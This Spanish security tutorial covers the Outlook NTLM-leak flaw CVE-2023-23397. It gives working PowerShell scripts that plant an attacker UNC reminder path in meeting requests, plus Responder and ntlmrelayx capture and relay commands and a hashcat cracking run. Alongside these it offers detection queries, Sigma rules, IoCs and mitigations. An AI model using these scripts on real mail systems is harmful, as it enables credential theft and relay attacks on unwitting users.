tutoriales · 8 min de lectura
Outlook zero-click: el hash NTLM se va sin abrir el email
CVE-2023-23397 permite que Outlook envíe el hash NTLMv2 del usuario a un servidor SMB del atacante con solo procesar un email. Sin click, sin previsualización. Explotado as zero-day por APT28 desde abril 2022. PoC real con Outlook COM, captura del handshake en Wireshark y crack offline con hashcat.
· Manuel López Pérez · tutoriales

Microsoft cierra el 14 de marzo de 2023, en el Patch Tuesday, CVE-2023-23397 — elevation of privilege en Outlook for Windows, CVSS 9.8. La marca como exploited as zero-day. Diez días después, Microsoft Threat Intelligence publica la guía de investigación y atribuye la explotación a un actor based in Russia — el grupo que la industria llama públicamente APT28 (Fancy Bear / Forest Blizzard). Mandiant documenta que el bug se explotaba desde abril de 2022: casi un año antes del parche.
El bug es de manual. Un email con una propiedad MAPI concreta hace que Outlook abra una conexión SMB hacia un servidor en internet y, al hacer el handshake, mande el hash NTLMv2 del usuario. Sin click. Sin previsualización abierta. Basta con que Outlook reciba y procese el mensaje al sincronizar la inbox.
Lab: análisis técnico del exploit con referencias a PoCs públicos verificados. El handshake se captura contra un listener controlado, no contra ningún sistema en producción.
El bug en una propiedad MAPI
Outlook almacena emails con metadata estructurada en MAPI extended properties. Las propiedades relevantes están en el set PSETID_Common (GUID {00062008-0000-0000-C000-000000000046}):
| MAPI long-id | Property tag | Tipo | Uso |
|---|---|---|---|
PidLidReminderSet | 0x8503 | PT_BOOLEAN | Si el item tiene recordatorio activo |
PidLidReminderTime | 0x8502 | PT_SYSTIME | Cuándo dispara el recordatorio |
PidLidReminderOverride | 0x851C | PT_BOOLEAN | Si el recordatorio usa sonido custom |
PidLidReminderFileParameter | 0x851F | PT_UNICODE | Ruta al fichero de sonido del recordatorio |
PidLidReminderFileParameter es la pieza. Cuando Outlook dispara el recordatorio, la función CTaskService::PlayReminderSound (en outlook.exe) llama a PlaySound() con la ruta de esa propiedad. PlaySound() resuelve la ruta a través de CreateFileW. Si la ruta empieza por \\, Windows trata la apertura como remota y abre conexión SMB al host indicado. Si el host está en internet, el handshake NTLM sale a internet con el challenge response del usuario.
No hay validación de “este SMB pertenece a mi dominio”. El cliente abre la conexión y autentica con la sesión actual.
Por qué es zero-click
Outlook dispara el recordatorio cuando sincroniza la carpeta y detecta un appointment con PidLidReminderSet=True y PidLidReminderTime ya pasado. La sincronización ocurre al recibir el item, sin intervención del usuario. Si el atacante envía un meeting request con:
PidLidReminderSet=TruePidLidReminderOverride=TruePidLidReminderTime= una hora ya pasadaPidLidReminderFileParameter=\\<attacker-ip>\share\anything.wav
…el reminder dispara al sincronizar, Outlook intenta cargar el .wav, abre SMB al atacante. No requiere abrir el email ni que el panel de previsualización esté activo. El parche modifica CTaskService::PlayReminderSound para forzar que el path se trate como local (rechaza UNC remotos).
PoC — Outlook COM en PowerShell
El PoC público más usado (api0cradle, GitHub) usa el Outlook Object Model COM sobre una máquina con Outlook instalado. El COM expone ReminderSoundFile como propiedad de alto nivel que mapea internamente a PidLidReminderFileParameter:
# CVE-2023-23397.ps1 — atacante con Outlook instalado y cuenta autenticada
$ATTACKER_UNC = '\\10.10.10.13\share\reminder.wav'
$TARGET = 'victim@target.test'
$ol = New-Object -ComObject Outlook.Application
$ns = $ol.GetNameSpace('MAPI')
$appt = $ol.CreateItem(1) # olAppointmentItem
$appt.MeetingStatus = 1 # olMeeting
$appt.Subject = 'Q1 Review'
$appt.Body = 'Quick alignment on Q1 numbers'
$appt.Location = 'Conference Room A'
$appt.Start = (Get-Date).AddMinutes(-120)
$appt.End = (Get-Date).AddMinutes(-60)
$appt.ReminderSet = $true
$appt.ReminderOverrideDefault = $true
$appt.ReminderPlaySound = $true
$appt.ReminderSoundFile = $ATTACKER_UNC
[void]$appt.Recipients.Add($TARGET)
$appt.Send()
Write-Host "[+] Sent appointment with UNC reminder $ATTACKER_UNC to $TARGET"Variante sin Outlook instalado — usar EWS Managed API para set de la extended property por long ID directamente sobre Exchange:
# Asume Microsoft.Exchange.WebServices.dll cargada
$svc = New-Object Microsoft.Exchange.WebServices.Data.ExchangeService(
[Microsoft.Exchange.WebServices.Data.ExchangeVersion]::Exchange2013_SP1)
$svc.Credentials = New-Object Microsoft.Exchange.WebServices.Data.WebCredentials(
'attacker@evil.test','P@ssw0rd!')
$svc.AutodiscoverUrl('attacker@evil.test')
$apt = New-Object Microsoft.Exchange.WebServices.Data.Appointment($svc)
$apt.Subject = 'Q1 Review'
$apt.Start = (Get-Date).AddMinutes(-120)
$apt.End = (Get-Date).AddMinutes(-60)
$apt.IsReminderSet = $true
$apt.ReminderDueBy = (Get-Date).AddMinutes(-120)
[void]$apt.RequiredAttendees.Add('victim@target.test')
# PSETID_Common = {00062008-0000-0000-C000-000000000046}
$psetidCommon = [guid]'00062008-0000-0000-C000-000000000046'
# PidLidReminderOverride (0x851C, boolean)
$prop = New-Object Microsoft.Exchange.WebServices.Data.ExtendedPropertyDefinition(
$psetidCommon, 0x851C,
[Microsoft.Exchange.WebServices.Data.MapiPropertyType]::Boolean)
$apt.SetExtendedProperty($prop, $true)
# PidLidReminderFileParameter (0x851F, unicode)
$prop = New-Object Microsoft.Exchange.WebServices.Data.ExtendedPropertyDefinition(
$psetidCommon, 0x851F,
[Microsoft.Exchange.WebServices.Data.MapiPropertyType]::String)
$apt.SetExtendedProperty($prop, '\\10.10.10.13\share\reminder.wav')
$apt.Save(
[Microsoft.Exchange.WebServices.Data.SendInvitationsMode]::SendOnlyToAll)Listener del lado del atacante — impacket-ntlmrelayx para relay activo, o responder para captura pasiva:
# Captura pasiva — guarda NetNTLMv2 para crack offline
sudo responder -I eth0 -wrf
# [+] Listening for events...
# [SMB] NTLMv2-SSP Client : 198.51.100.10
# [SMB] NTLMv2-SSP Username : ACME\j.smith
# [SMB] NTLMv2-SSP Hash : j.smith::ACME:1122334455667788:CDF9CDF8A0...
# Relay activo — autentica a otro host del dominio con la sesión robada
sudo impacket-ntlmrelayx \
-t smb://10.10.10.42 -smb2support --no-http-server -socks
# [*] SMBD-Thread-2: Connection from 198.51.100.10
# [*] Authenticating against smb://10.10.10.42 as ACME\j.smith SUCCEED
# [*] SOCKS: Adding ACME/J.SMITH@10.10.10.42(445) to active SOCKS connectionCapturar el handshake en Wireshark
Filtro display para aislar el AUTHENTICATE_MESSAGE y extraer NTLMv2 a mano:
smb2 and ntlmssp.messagetype == 0x00000003Lo que aparece en el panel NTLM Secure Service Provider del paquete:
NTLM Secure Service Provider
NTLMSSP identifier: NTLMSSP
NTLM Message Type: NTLMSSP_AUTH (0x00000003)
Lan Manager Response: ...
NTLM Response:
Response: 1234abcd...
NTLMv2 Response: ...
NTProofStr: cdf9cdf8a0d3...
Response Version: 1
Reserved: 00000000
Time: ...
Client Challenge: 1122334455667788
Domain name: ACME
User name: j.smith
Host name: WORKSTATION-07Formato NetNTLMv2 para hashcat (-m 5600) reconstruido a partir del paquete:
j.smith::ACME:1122334455667788:cdf9cdf8a0d3f...:01010000000000000040cdb8c4...
^ ^ ^ ^ ^
domain | | | blob completo (HMAC + temp)
server NTProofStr (HMAC-MD5 16 bytes)
challengeCrack offline con rockyou — duración real en una RTX 4090 sobre rockyou.txt (14M candidatos): segundos a minutos:
$ hashcat -m 5600 -a 0 j.smith.hash /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting...
Hashes: 1 digests; 1 unique digests, 1 unique salts
* Device #1: NVIDIA GeForce RTX 4090, 23999/24235 MB
Speed.#1.........: 3826.4 MH/s (47.21ms)
J.SMITH::ACME:1122334455667788:cdf9cdf8a0d3f...:01010000...:Spring2023!
Session..........: hashcat
Status...........: Cracked
Recovered........: 1/1 (100.00%) DigestsDetección — script de Microsoft
Microsoft publica el 14-mar-2023 un script PowerShell que recorre buzones de Exchange y marca cualquier item con PidLidReminderFileParameter apuntando a destino no local. Modo audit-only para retro-detección:
PS> .\CVE-2023-23397.ps1 -Environment Online -Audit
[+] Connecting to Exchange Online…
[+] Scanning mailboxes for PidLidReminderFileParameter…
[!] Found 2 messages with non-local reminder file parameter:
Mailbox: j.smith@acme.com
Subject: Q1 Review
Sender: external-sender@evil.test
UNC: \\10.10.10.13\share\reminder.wav
Received: 2023-02-18T09:14:22ZEl script tiene flag -CleanupAction para borrar/limpiar los items detectados, útil tras parchear.
Defender / Sentinel — KQL
Outbound SMB a IPv4 pública desde outlook.exe no tiene caso legítimo en una red corporativa. KQL para DeviceNetworkEvents:
DeviceNetworkEvents
| where Timestamp > ago(180d)
| where RemotePort in (445, 139)
| where InitiatingProcessFileName in~ ("outlook.exe", "rundll32.exe", "explorer.exe")
| where ipv4_is_private(RemoteIP) == false
| extend Public = strcat(RemoteIP, ":", RemotePort)
| project Timestamp, DeviceName, AccountDomain, AccountName,
InitiatingProcessFileName, InitiatingProcessCommandLine,
RemoteIP, RemotePort, ReportId
| order by Timestamp descForest Blizzard / APT28 reutilizó endpoints durante meses. Microsoft Threat Intelligence publicó las IPs C2 SMB conocidas — útiles para retro-búsqueda:
let APT28_SMB = dynamic([
"101.255.119.42","113.160.234.229","168.205.200.55","181.209.99.204",
"185.132.17.160","213.32.252.221","61.14.68.33","69.162.253.21",
"82.196.113.102","85.195.206.7"]);
DeviceNetworkEvents
| where Timestamp > ago(365d)
| where RemoteIP in (APT28_SMB)
| project Timestamp, DeviceName, RemoteIP, InitiatingProcessFileNameSigma — endpoint outbound SMB desde Outlook
title: Suspicious Outbound SMB Connection from Outlook (CVE-2023-23397)
id: 7f5b5b96-e7e0-4f8e-8c47-cbe5a8d12345
status: stable
description: Detecta outlook.exe (u otros procesos Office) abriendo SMB hacia IP pública
references:
- https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-23397
- https://www.microsoft.com/en-us/security/blog/2023/03/24/guidance-for-investigating-attacks-using-cve-2023-23397/
logsource:
category: network_connection
product: windows
detection:
selection:
Image|endswith:
- '\outlook.exe'
- '\winword.exe'
- '\excel.exe'
DestinationPort:
- 445
- 139
filter_private:
DestinationIp|cidr:
- '10.0.0.0/8'
- '172.16.0.0/12'
- '192.168.0.0/16'
- '127.0.0.0/8'
condition: selection and not filter_private
level: high
falsepositives:
- Outlook configurado contra Exchange on-prem accesible vía IP pública (raro y reconfigurable)Windows Event IDs en endpoint
| Evento | Source | Qué mirar |
|---|---|---|
4624 | Security | LogonType 3 (network) hacia/desde host inesperado |
4625 | Security | LogonType 3 fallido contra credenciales del dominio |
5145 | Security (Detailed File Share auditing) | Acceso a share remoto desde proceso Office |
3 | Microsoft-Windows-Sysmon/Operational | NetworkConnect, outlook.exe -> port 445 externo |
IoCs Forest Blizzard publicados por Microsoft
| IP defanged | Tipo |
|---|---|
101.255.119[.]42 | SMB endpoint (relay sink) |
113.160.234[.]229 | SMB endpoint (relay sink) |
168.205.200[.]55 | SMB endpoint (relay sink) |
181.209.99[.]204 | SMB endpoint (relay sink) |
185.132.17[.]160 | SMB endpoint (relay sink) |
213.32.252[.]221 | SMB endpoint (relay sink) |
61.14.68[.]33 | SMB endpoint (relay sink) |
69.162.253[.]21 | SMB endpoint (relay sink) |
82.196.113[.]102 | SMB endpoint (relay sink) |
85.195.206[.]7 | SMB endpoint (relay sink) |
Fuente: Microsoft, Guidance for investigating attacks using CVE-2023-23397. Son IoCs históricos — pueden no estar activos hoy, pero sirven para retrobúsqueda 2022-2023.
Reproducción en lab cerrado
Lab de dos máquinas (atacante Linux + víctima Windows 10/11 + Outlook pre-parche):
# Atacante
sudo apt install -y python3-impacket responder
# Listener pasivo (captura el hash):
sudo responder -I eth0 -wrf
# O relay activo contra host del dominio víctima:
sudo impacket-ntlmrelayx -t smb://target-internal.lab \
-smb2support --no-http-server -socksVersiones víctima vulnerables (sin parche de 14-mar-2023):
| Producto | KB del parche |
|---|---|
| Microsoft 365 Apps (current) | Click-to-Run |
| Outlook 2013 SP1 | KB5002310 |
| Outlook 2016 | KB5002321 |
| Outlook 2019 / 2021 | KB5002322 |
No vulnerables: Outlook for Mac, Outlook on the Web (OWA), Outlook for iOS / Android, Microsoft 365 Apps en versión New Outlook.
Mitigaciones, por orden de impacto
- Parchear Outlook for Windows con los KB de marzo 2023.
- Bloquear SMB outbound (TCP 445, 139) hacia internet en el firewall perimetral. Sin caso de uso legítimo en oficina; mitiga el ataque aunque el bug siguiera presente.
- Forzar SMB signing en servidores miembros del dominio — rompe el relay activo (no la captura para crack offline).
- Restringir membership en Protected Users para cuentas administrativas: los miembros no envían NTLM en absoluto, solo Kerberos.
- Forzar Kerberos y deshabilitar el fallback a NTLM donde se pueda (Windows Server 2025 incluye flags de policy para esto).
La pieza APT28
Microsoft no usa el nombre, pero la atribución es clara: actor con tradecraft de inteligencia rusa, targeting histórico contra entidades gubernamentales, militares y energéticas en Europa. Resumen operacional:
- Primera explotación conocida: abril 2022 (Mandiant).
- Targets confirmados: agencias gubernamentales y operadores de infraestructura crítica en países que apoyan a Ucrania.
- Vector típico: meeting requests enviados desde cuentas comprometidas previamente — no requiere infra de correo propia.
- Tras conseguir el hash: relay contra Exchange on-prem para acceso al buzón completo, persistence en EWS, exfil de calendarios y mailbox rules.
Ventana entre primera explotación conocida y parche: 11 meses. Si la organización tenía perfil de target plausible en 2022, la auditoría con el script de Microsoft no es opcional.
Referencias
- Microsoft MSRC, advisory CVE-2023-23397: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-23397
- Microsoft Threat Intelligence, Guidance for investigating attacks using CVE-2023-23397 (24 mar 2023): https://www.microsoft.com/en-us/security/blog/2023/03/24/guidance-for-investigating-attacks-using-cve-2023-23397/
- Script PowerShell oficial de detección: https://microsoft.github.io/CSS-Exchange/Security/CVE-2023-23397/
- api0cradle, PoC público con Outlook COM: https://github.com/api0cradle/CVE-2023-23397-POC-Powershell
- MDSec, walkthrough con PoC reproducible vía EWS: https://www.mdsec.co.uk/2023/03/exploiting-cve-2023-23397-microsoft-outlook-elevation-of-privilege-vulnerability/
- Akamai, bypass post-parche relacionado: https://www.akamai.com/blog/security-research/important-outlook-vulnerability-bypass-windows-api
- impacket / ntlmrelayx: https://github.com/fortra/impacket
- Responder: https://github.com/lgandx/Responder
- [MS-OXPROPS] section 2.221 (PidLidReminderFileParameter): https://learn.microsoft.com/en-us/openspecs/exchange_server_protocols/ms-oxprops/
- NVD: https://nvd.nist.gov/vuln/detail/CVE-2023-23397


